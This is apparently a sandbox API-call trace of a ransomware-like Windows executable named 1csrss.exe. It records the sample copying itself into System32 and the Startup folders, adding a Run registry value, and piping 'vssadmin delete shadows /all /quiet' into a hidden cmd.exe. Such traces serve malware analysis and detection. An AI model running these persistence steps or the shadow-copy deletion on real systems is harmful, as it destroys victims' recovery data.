RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee7f0, Size=0x40) returned 0x5ca0c0 [0100.050] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca0c0, Size=0x80) returned 0x5f4628 [0100.050] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f4628, Size=0x100) returned 0x5f5f40 [0100.050] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0100.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f5f40 | out: hHeap=0x5b0000) returned 1 [0100.050] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\1csrss.exe", lpDst=0x617710, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\1csrss.exe") returned 0x1f [0100.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x627718 | out: hHeap=0x5b0000) returned 1 [0100.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x617710 | out: hHeap=0x5b0000) returned 1 [0100.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x2474020 [0100.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f52e8 [0100.055] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f52e8, Size=0x20) returned 0x5eea98 [0100.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5240 [0100.055] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5240, Size=0x20) returned 0x5eeae8 [0100.055] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0100.055] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0100.055] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0100.055] lstrlenW (lpString="kernel32.dll") returned 12 [0100.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea98 | out: hHeap=0x5b0000) returned 1 [0100.055] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0100.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eeae8 | out: hHeap=0x5b0000) returned 1 [0100.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\1csrss.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\1csrss.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0100.056] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0100.057] ReadFile (in: hFile=0x240, lpBuffer=0x2474020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2474020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0100.068] WriteFile (in: hFile=0x244, lpBuffer=0x2474020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2474020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0100.087] ReadFile (in: hFile=0x240, lpBuffer=0x2474020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2474020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0100.087] CloseHandle (hObject=0x244) returned 1 [0100.094] CloseHandle (hObject=0x240) returned 1 [0100.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5408 [0100.095] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5408, Size=0x20) returned 0x5eeb38 [0100.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5270 [0100.095] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5270, Size=0x20) returned 0x5eea70 [0100.095] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0100.095] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0100.095] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0100.095] lstrlenW (lpString="kernel32.dll") returned 12 [0100.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea70 | out: hHeap=0x5b0000) returned 1 [0100.095] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0100.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eeb38 | out: hHeap=0x5b0000) returned 1 [0100.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2474020 | out: hHeap=0x5b0000) returned 1 [0100.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f51c8 [0100.103] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f51c8, Size=0x20) returned 0x5eec50 [0100.103] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eec50, Size=0x40) returned 0x5ca660 [0100.103] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca660, Size=0x80) returned 0x5f48d0 [0100.103] lstrlenW (lpString="C:\\WINDOWS\\System32\\1csrss.exe") returned 30 [0100.104] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0100.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5c) returned 0x5c7cb0 [0100.104] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0100.104] RegSetValueExW (in: hKey=0x240, lpValueName="1csrss.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\1csrss.exe", cbData=0x3c | out: lpData="C:\\WINDOWS\\System32\\1csrss.exe") returned 0x0 [0100.104] RegCloseKey (hKey=0x240) returned 0x0 [0100.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7cb0 | out: hHeap=0x5b0000) returned 1 [0100.104] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0100.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f48d0 | out: hHeap=0x5b0000) returned 1 [0100.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x617710 [0100.105] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x627718 [0100.105] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5198 [0100.105] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5198, Size=0x20) returned 0x5eebb0 [0100.105] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eebb0, Size=0x40) returned 0x5ca078 [0100.105] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca078, Size=0x80) returned 0x5f47c0 [0100.105] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f47c0, Size=0x100) returned 0x5f5f40 [0100.105] lstrlenW (lpString="") returned 0 [0100.105] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0100.105] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8c) returned 0x5f6048 [0100.105] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0100.105] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x627718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x627718*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0100.105] RegCloseKey (hKey=0x240) returned 0x0 [0100.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f6048 | out: hHeap=0x5b0000) returned 1 [0100.105] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0100.105] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8c) returned 0x5f6048 [0100.105] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0100.107] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x627718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0100.107] RegCloseKey (hKey=0x244) returned 0x0 [0100.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f6048 | out: hHeap=0x5b0000) returned 1 [0100.107] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0100.107] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0100.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f5f40 | out: hHeap=0x5b0000) returned 1 [0100.107] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe", lpDst=0x617710, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe") returned 0x59 [0100.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x627718 | out: hHeap=0x5b0000) returned 1 [0100.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x617710 | out: hHeap=0x5b0000) returned 1 [0100.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x2477020 [0100.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f51c8 [0100.111] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f51c8, Size=0x20) returned 0x5eea98 [0100.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f51c8 [0100.111] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f51c8, Size=0x20) returned 0x5eea20 [0100.111] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0100.112] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0100.112] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0100.112] lstrlenW (lpString="kernel32.dll") returned 12 [0100.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea98 | out: hHeap=0x5b0000) returned 1 [0100.112] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0100.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea20 | out: hHeap=0x5b0000) returned 1 [0100.112] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\1csrss.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\1csrss.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0100.112] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\1csrss.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0100.131] ReadFile (in: hFile=0x244, lpBuffer=0x2477020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2477020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0100.145] WriteFile (in: hFile=0x248, lpBuffer=0x2477020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2477020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0100.183] ReadFile (in: hFile=0x244, lpBuffer=0x2477020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2477020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0100.183] CloseHandle (hObject=0x248) returned 1 [0100.211] CloseHandle (hObject=0x244) returned 1 [0100.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5288 [0100.211] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5288, Size=0x20) returned 0x5eec78 [0100.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f52e8 [0100.216] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f52e8, Size=0x20) returned 0x5ee7f0 [0100.216] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0100.216] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0100.216] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0100.216] lstrlenW (lpString="kernel32.dll") returned 12 [0100.216] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee7f0 | out: hHeap=0x5b0000) returned 1 [0100.216] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0100.216] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eec78 | out: hHeap=0x5b0000) returned 1 [0100.216] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2477020 | out: hHeap=0x5b0000) returned 1 [0100.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x617710 [0100.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x627718 [0100.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f51e0 [0100.239] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f51e0, Size=0x20) returned 0x5eeb60 [0100.239] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eeb60, Size=0x40) returned 0x5ca1e0 [0100.239] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca1e0, Size=0x80) returned 0x5f4628 [0100.239] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f4628, Size=0x100) returned 0x5f5f40 [0100.239] lstrlenW (lpString="") returned 0 [0100.239] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0100.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8c) returned 0x5f6048 [0100.239] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0100.239] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x627718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0100.239] RegCloseKey (hKey=0x244) returned 0x0 [0100.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f6048 | out: hHeap=0x5b0000) returned 1 [0100.239] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0100.239] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0100.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f5f40 | out: hHeap=0x5b0000) returned 1 [0100.239] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe", lpDst=0x617710, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe") returned 0x48 [0100.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x627718 | out: hHeap=0x5b0000) returned 1 [0100.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x617710 | out: hHeap=0x5b0000) returned 1 [0100.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x247c020 [0100.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5330 [0100.243] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5330, Size=0x20) returned 0x5ee9d0 [0100.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f51f8 [0100.243] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f51f8, Size=0x20) returned 0x5ee818 [0100.243] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0100.244] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0100.244] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0100.244] lstrlenW (lpString="kernel32.dll") returned 12 [0100.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee9d0 | out: hHeap=0x5b0000) returned 1 [0100.244] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0100.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee818 | out: hHeap=0x5b0000) returned 1 [0100.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\1csrss.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\1csrss.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0100.244] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\1csrss.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0100.245] ReadFile (in: hFile=0x244, lpBuffer=0x247c020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x247c020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0100.256] WriteFile (in: hFile=0x248, lpBuffer=0x247c020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x247c020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0100.304] ReadFile (in: hFile=0x244, lpBuffer=0x247c020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x247c020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0100.305] CloseHandle (hObject=0x248) returned 1 [0100.307] CloseHandle (hObject=0x244) returned 1 [0100.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5360 [0100.307] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5360, Size=0x20) returned 0x5eeb10 [0100.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5210 [0100.307] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5210, Size=0x20) returned 0x5eeb38 [0100.307] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0100.307] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0100.307] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0100.307] lstrlenW (lpString="kernel32.dll") returned 12 [0100.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eeb38 | out: hHeap=0x5b0000) returned 1 [0100.307] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0100.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eeb10 | out: hHeap=0x5b0000) returned 1 [0100.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x247c020 | out: hHeap=0x5b0000) returned 1 [0100.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f7700 | out: hHeap=0x5b0000) returned 1 [0100.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x607708 | out: hHeap=0x5b0000) returned 1 [0100.314] lstrlenW (lpString="%windir%\\System32") returned 17 [0100.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c9fa0 | out: hHeap=0x5b0000) returned 1 [0100.314] lstrlenW (lpString="%appdata%") returned 9 [0100.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee958 | out: hHeap=0x5b0000) returned 1 [0100.315] lstrlenW (lpString="%sh(Startup)%") returned 13 [0100.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee930 | out: hHeap=0x5b0000) returned 1 [0100.315] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0100.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c9fe8 | out: hHeap=0x5b0000) returned 1 [0100.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f53a8 [0100.315] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f53a8, Size=0x20) returned 0x5eeb10 [0100.315] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eeb10, Size=0x40) returned 0x5ca270 [0100.315] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca270, Size=0x80) returned 0x5f47c0 [0100.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5360 [0100.315] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5360, Size=0x20) returned 0x5eebb0 [0100.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fffc) returned 0x5f7700 [0100.316] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x617708 [0100.316] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x627710 [0100.316] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5408 [0100.316] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5408, Size=0x20) returned 0x5ee958 [0100.316] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee958, Size=0x40) returned 0x5ca348 [0100.316] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca348, Size=0x80) returned 0x5f4d10 [0100.316] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f4d10, Size=0x100) returned 0x5f5f40 [0100.316] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0100.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f5f40 | out: hHeap=0x5b0000) returned 1 [0100.316] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x617708, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0100.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x627710 | out: hHeap=0x5b0000) returned 1 [0100.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x617708 | out: hHeap=0x5b0000) returned 1 [0100.317] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0100.317] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0100.317] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0100.327] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0100.327] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xd98, dwThreadId=0xcf0)) returned 1 [0100.744] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0100.744] WriteFile (in: hFile=0x24c, lpBuffer=0x5f47c0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x5f47c0*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0100.744] CloseHandle (hObject=0x25c) returned 1 [0100.744] CloseHandle (hObject=0x258) returned 1 [0100.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f7700 | out: hHeap=0x5b0000) returned 1 [0100.744] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0100.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f47c0 | out: hHeap=0x5b0000) returned 1 [0100.744] lstrlenW (lpString="%comspec%") returned 9 [0100.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eebb0 | out: hHeap=0x5b0000) returned 1 [0100.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0100.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5f5408 [0100.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5f5408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0100.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) 